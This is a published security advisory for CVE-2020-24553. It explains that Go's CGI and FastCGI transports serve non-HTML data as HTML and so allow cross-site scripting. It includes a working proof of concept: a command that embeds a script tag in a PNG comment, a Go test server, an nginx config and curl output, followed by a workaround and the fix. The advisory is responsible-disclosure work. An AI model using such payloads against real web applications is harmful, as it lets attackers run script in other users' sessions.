Go CGI / FastCGI Transport Cross Site Scripting

Site redteam-pentesting.de

Posted Sep 2, 2020

The CGI and FastCGI implementations in the Go standard library behave differently from the HTTP server implementation when serving content. In contrast to the documented behavior, they may return non-HTML data as HTML. This may lead to cross site scripting vulnerabilities even if uploaded data has been validated during upload. Versions 1.15 and 1.14.7 and below are affected.

tags | exploit, web, cgi, vulnerability, xss
advisories | CVE-2020-24553
SHA-256 | 3e08219d56774477561 65c051aed3766da7e30f5b0c6159ccef3c81277c85c1f

Download | Favorite | View

Related Files

Change Mirror Download

```
Advisory: Inconsistent Behavior of Go's CGI and FastCGI Transport May Lead to Cross-Site Scripting

The CGI and FastCGI implementations in the Go standard library behave
differently from the HTTP server implementation when serving content.
In contrast to the documented behavior, they may return non-HTML data as
HTML. This may lead to cross-site scripting vulnerabilities even if
uploaded data has been validated during upload.


Details
=======

Product: Go
Affected Versions: <= 1.14.7, 1.15
Fixed Versions: 1.14.8, 1.15.1
Vulnerability Type: Cross-Site Scripting
Security Risk: medium
Vendor URL: https://golang.org
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2020-004
Advisory Status: published
CVE: CVE-2020-24553
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24553


Introduction
============

The Go standard library defines the ResponseWriter[1] interface in the
net/http package for HTTP services. It allows serving content via
arbitrary transports so the handler functions can be written without a
specific transport in mind. The standard library contains an HTTP server
implementation as well as CGI and FastCGI protocol implementations. The
library also contains a mock implementation called ResponseRecorder[2]
in the net/http/httptest package for use in testing. There may even be
more implementations outside the standard library.


More Details
============

In Go, the documentation of the interface describes the behavior all
implementations should conform to. For the Write() method of the
interface, the following paragraph describes what happens if Write() is
called when the HTTP header Content-Type is not set (via WriteHeader()):

------------------------------------------------------------------------
// If WriteHeader has not yet been called, Write calls
// WriteHeader(http.StatusOK) before writing the data. If the Header
// does not contain a Content-Type line, Write adds a Content-Type set
// to the result of passing the initial 512 bytes of written data to
// DetectContentType. Additionally, if the total size of all written
// data is under a few KB and there are no Flush calls, the
// Content-Length header is added automatically.
------------------------------------------------------------------------

If no Content-Type header is specified explicitly, all implementations
of the ResponseWriter interface should therefore use the first 512 bytes
of the data passed to Write() to automatically detect and serve a
sensible Content-Type according to the algorithm described in [3].

The HTTP server implementation as well as the ResponseRecorder mock
implementation both exhibit the documented behavior. The CGI and FastCGI
transports however were found to always set the Content-Type to
"text/html; charset=utf-8".

For the CGI implementation, this can be found in net/http/cgi/child.go[4]:

------------------------------------------------------------------------
func (r *response) WriteHeader(code int) {
    [...]
    // Set a default Content-Type
    if _, hasType := r.header["Content-Type"]; !hasType {
        r.header.Add("Content-Type", "text/html; charset=utf-8")
    }
    [...]
}
------------------------------------------------------------------------

The code looks similar for the FastCGI implementation in
net/http/fcgi/child.go[5]:

------------------------------------------------------------------------
func (r *response) WriteHeader(code int) {
    if r.wroteHeader {
        return
    }
    r.wroteHeader = true
    if code == http.StatusNotModified {
        // Must not have body.
        r.header.Del("Content-Type")
        r.header.Del("Content-Length")
        r.header.Del("Transfer-Encoding")
    } else if r.header.Get("Content-Type") == "" {
        r.header.Set("Content-Type", "text/html; charset=utf-8")
    }
    [...]
}
------------------------------------------------------------------------

This difference in behavior leads to applications which depend on the
behavior documented for implementations of the ResponseWriter interface
becoming vulnerable to cross-site scripting when served via CGI or
FastCGI. RedTeam Pentesting has discovered such vulnerable applications
in the wild.

For example, consider a web application which allows uploading PDF files
and pictures. During upload, the application checks (via the
DetectContentType() mentioned in the documentation) that the uploaded
content is either "application/pdf" or "image/png" and rejects all other
data. When an uploaded file is requested again, the application does not
set a Content-Type header and depends on the auto detection. If the HTTP
server from the standard library is used, the WriteHeader() method
detects the content and sets the Content-Type header to either
"application/pdf" or "image/png".

Attackers can generate a PNG file which includes a <script> tag with
JavaScript in the comment field:
```

```
------------------------------------------------------------------------
$ convert \
    -comment '<script>alert("RedTeam Pentesting")</script>' \
    -size 1x1 xc:'#000000' exploit.png
------------------------------------------------------------------------
```

The check during the upload process permits the file (because it is a valid PNG file). When the file is requested again, the Content-Type header is set to "image/png", the image is shown in the users' browsers and the embedded JavaScript code is not executed.

If the web application is run via CGI or FastCGI, it is now vulnerable to cross-site scripting. The upload process is exactly the same, but when the file is requested again, the Content-Type is set to "text/html". When users now access the file directly, it is interpreted as HTML and the embedded JavaScript code is executed.

Proof of Concept

In the following, a small sample application is built which depends on the behavior documented for the ResponseWriter interface to return image data to HTTP clients. The source code is printed below:

```
------------------------------------------------------------------------
package main

import (
    "encoding/base64"
    "flag"
    "log"
    "net"
    "net/http"
    "net/http/fcgi"
)

// generated with:
// convert \
//   -comment '<script>alert("RedTeam Pentesting")</script>' \
//   -size 1x1 xc:'#000000' png:- | base64
const imageBase64 = `
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQAAAAA3bvkkAAAABGdBTUEAALGPC/xhBQAAACBjSFJN
AAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAd2KE6QAAAAHdElN
RQfkCAcQBDsl5w8cAAAACklEQVQI12NgAAAAAgAB4iG8MwAAADR0RVh0Y29tbWVudAA8c2NyaXB0
PmFsZXJ0KCJSZWRUZWFtIFBlbnRlc3RpbmciKTwvc2NyaXB0PlrICKkAAAAldEVYdGRhdGU6Y3Jl
YXRlADIwMjAtMDgtMDdUMTQ6MDQ6NTkrMDI6MDDb6CukAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDIw
LTA4LTA3VDE0OjA0OjU5KzAyOjAwqrWTGAAAAABJRU5ErkJggg==
`

func main() {
    httpServer := flag.Bool("http", false, "run HTTP server instead of FastCGI")
    flag.Parse()

    image, err := base64.StdEncoding.DecodeString(imageBase64)
    if err != nil {
        panic(err)
    }

    ln, err := net.Listen("tcp", "127.0.0.1:8001")
    if err != nil {
        panic(err)
    }

    handler := http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
        w.Write(image)
    })

    if *httpServer {
        // returns "Content-Type: text/plain; charset=utf-8", safe
        log.Fatal(http.Serve(ln, handler))
    } else {
        // returns "Content-Type: text/html", causes HTML/JavaScript to be interpreted
        log.Fatal(fcgi.Serve(ln, handler))
    }
}
------------------------------------------------------------------------
```

This program is started as follows:

```
------------------------------------------------------------------------
$ go mod init poc
$ go run .
------------------------------------------------------------------------
```

It listens for FastCGI requests on the TCP port 8001.

It can be served via FastCGI for example using nginx and the following configuration:

```
------------------------------------------------------------------------
daemon off;
pid /dev/null;
error_log /dev/stdout info;

events {}

http {
    access_log /dev/stdout;

    server {
        listen 127.0.0.1:8000;

        location / {
            fastcgi_pass localhost:8001;
            include /etc/nginx/fastcgi_params;
        }
    }
}
------------------------------------------------------------------------
```

The HTTP server can be run as follows:

```
------------------------------------------------------------------------
$ nginx -c $PWD/nginx.conf
------------------------------------------------------------------------
```

When the URL http://localhost:8000 is opened in a browser, the JavaScript code is executed and a message box with the text "RedTeam Pentesting" is opened. This can also be verified using the command-line HTTP client curl as follows:

```
------------------------------------------------------------------------
$ curl -i -o - http://localhost:8000
HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Type: text/html; charset=utf-8
[...]

PNG[...]EXtcomment<script>alert("RedTeam Pentesting")</script>[...]
------------------------------------------------------------------------
```

The same happens when the CGI transport is used.

When the sample program is run with the flag "-http", the HTTP server from the standard library is run instead on TCP port 8001:

```
------------------------------------------------------------------------
$ go run . -http
------------------------------------------------------------------------
```

Now the correct Content-Type header is returned:

```
------------------------------------------------------------------------
$ curl -i -o - http://localhost:8001
HTTP/1.1 200 OK
Content-Type: image/png
[...]

PNG[...]
------------------------------------------------------------------------
```

Workaround

Applications should explicitly set a Content-Type via the Header().Set() method of the ResponseWriter interface. The relevant code from the sample application mentioned above then looks like this:

```
------------------------------------------------------------------------
handler := http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
    w.Header().Set("Content-Type", "image/png")
```

```
    w.Write(image)
})
------------------------------------------------------------------------
```

```
Fix
===

The CGI and FastCGI implementations of the ResponseWriter interface should
behave as documented and infer the Content-Type from the response data. This
was implemented in Go versions 1.14.8 and 1.15.1 (the patch can be found here
[7]).


Security Risk
=============

The risk of this vulnerability heavily depends on the concrete
application at hand. If it depends on the documented behavior and is
accessed via CGI or FastCGI and provides attackers a means to request
data they can influence, this may lead to a cross-site scripting
vulnerability.

When other users of the same application request the attackers' data,
the embedded JavaScript code is executed and the attackers can interact
with the web application in the user's name, display arbitrary content
within the user's browser, and observe the user's interaction with the
web application.

Considering the severe consequences and the requirements for
exploitation (serving via CGI/FastCGI instead of HTTP), this
vulnerability is rated as a medium risk.


Timeline
========

2020-08-07 Vulnerability identified
2020-08-10 Vendor notified
2020-08-10 Vendor acknowledges receipt of report
2020-08-14 Vendor confirms security issues
2020-08-20 Vendor announces plans for a minor release of Go
2020-09-01 Vendor releases new version of Go, issue[6] is #40928, patch[7]


References
==========

[1] https://pkg.go.dev/net/http/?tab=doc#ResponseWriter
[2] https://pkg.go.dev/net/http/httptest?tab=doc#ResponseRecorder
[3] https://mimesniff.spec.whatwg.org/
[4] https://github.com/golang/go/blob/ba9e10889976025ee1d027db6b1cad383ec56de8/src/net/http/cgi/child.go#L196-
L199
[5] https://github.com/golang/go/blob/ba9e10889976025ee1d027db6b1cad383ec56de8/src/net/http/fcgi/child.go#L112-
L114
[6] https://github.com/golang/go/issues/40928
[7] https://go-review.googlesource.com/c/go/+/252179/


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/

-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen
```

Login or Register to add favorites